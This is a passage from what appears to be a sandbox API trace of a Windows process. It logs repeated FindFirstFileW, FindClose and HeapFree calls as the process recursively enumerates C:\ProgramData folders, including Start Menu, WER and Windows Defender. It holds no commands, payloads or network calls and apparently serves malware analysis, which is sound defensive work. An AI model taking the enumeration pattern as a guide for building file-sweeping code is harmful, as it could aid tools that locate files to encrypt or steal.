hFindFile=0x6398c8) returned 1 [0264.529] GetProcessHeap () returned 0x550000 [0264.529] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.529] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DRM\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.555] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\DRM\\Cache\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0264.564] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0264.573] GetProcessHeap () returned 0x550000 [0264.918] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0264.919] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.920] GetProcessHeap () returned 0x550000 [0264.920] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\GameExplorer\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.926] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.928] GetProcessHeap () returned 0x550000 [0264.928] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.931] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Power Efficiency Diagnostics\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0264.981] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0264.982] GetProcessHeap () returned 0x550000 [0264.982] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0264.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.042] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.043] GetProcessHeap () returned 0x550000 [0265.043] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Sqm\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Manifest\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.044] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.044] GetProcessHeap () returned 0x550000 [0265.044] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.044] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Sessions\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.044] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.045] GetProcessHeap () returned 0x550000 [0265.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.045] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Sqm\\Upload\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.045] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.045] GetProcessHeap () returned 0x550000 [0265.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.045] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.045] GetProcessHeap () returned 0x550000 [0265.045] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.046] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.047] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Accessibility\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89bce0a9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x89bf4209, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.048] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.048] GetProcessHeap () returned 0x550000 [0265.048] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ace9ee9, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ace9ee9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.048] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.048] GetProcessHeap () returned 0x550000 [0265.048] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Tablet PC\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8126b520, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81291680, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.049] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.049] GetProcessHeap () returned 0x550000 [0265.049] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8d79c9d7, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8d7c2b37, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.049] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.049] GetProcessHeap () returned 0x550000 [0265.049] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.049] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.049] GetProcessHeap () returned 0x550000 [0265.049] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.049] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.050] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.050] GetProcessHeap () returned 0x550000 [0265.050] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.050] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.050] GetProcessHeap () returned 0x550000 [0265.050] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.050] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.051] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.052] GetProcessHeap () returned 0x550000 [0265.052] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.052] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.052] GetProcessHeap () returned 0x550000 [0265.052] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.052] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.053] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Office 2010 Tools\\*", lpFindFileData=0x2cee378 | out: lpFindFileData=0x2cee378*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639808 [0265.054] FindClose (in: hFindFile=0x639808 | out: hFindFile=0x639808) returned 1 [0265.055] GetProcessHeap () returned 0x550000 [0265.055] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26120a0 | out: hHeap=0x550000) returned 1 [0265.055] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.055] GetProcessHeap () returned 0x550000 [0265.055] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.055] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\SharePoint\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x78038410, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.056] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.057] GetProcessHeap () returned 0x550000 [0265.057] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x68a3c40, ftLastAccessTime.dwHighDateTime=0x1d696fc, ftLastWriteTime.dwLowDateTime=0x68a3c40, ftLastWriteTime.dwHighDateTime=0x1d696fc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.057] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.057] GetProcessHeap () returned 0x550000 [0265.057] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.057] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Tablet PC\\*", lpFindFileData=0x2cee600 | out: lpFindFileData=0x2cee600*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x9182055d, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6397c8 [0265.118] FindClose (in: hFindFile=0x6397c8 | out: hFindFile=0x6397c8) returned 1 [0265.119] GetProcessHeap () returned 0x550000 [0265.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x2602098 | out: hHeap=0x550000) returned 1 [0265.119] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.119] GetProcessHeap () returned 0x550000 [0265.119] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.121] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.121] GetProcessHeap () returned 0x550000 [0265.121] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.122] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\Templates\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.122] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.123] GetProcessHeap () returned 0x550000 [0265.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6398c8 [0265.123] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.123] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.123] GetProcessHeap () returned 0x550000 [0265.123] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.124] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0265.164] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0265.164] GetProcessHeap () returned 0x550000 [0265.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25f0090 | out: hHeap=0x550000) returned 1 [0265.164] FindClose (in: hFindFile=0x6398c8 | out: hFindFile=0x6398c8) returned 1 [0265.164] GetProcessHeap () returned 0x550000 [0265.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x25e0088 | out: hHeap=0x550000) returned 1 [0265.164] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0265.164] GetProcessHeap () returned 0x550000 [0265.164] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x5f65b8 | out: hHeap=0x550000) returned 1 [0265.164] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\*", lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x591e8ca0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x591e8ca0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0265.300] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1fb3099, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x1fb3099, ftLastWriteTime.dwHighDateTime=0x1cb892c, 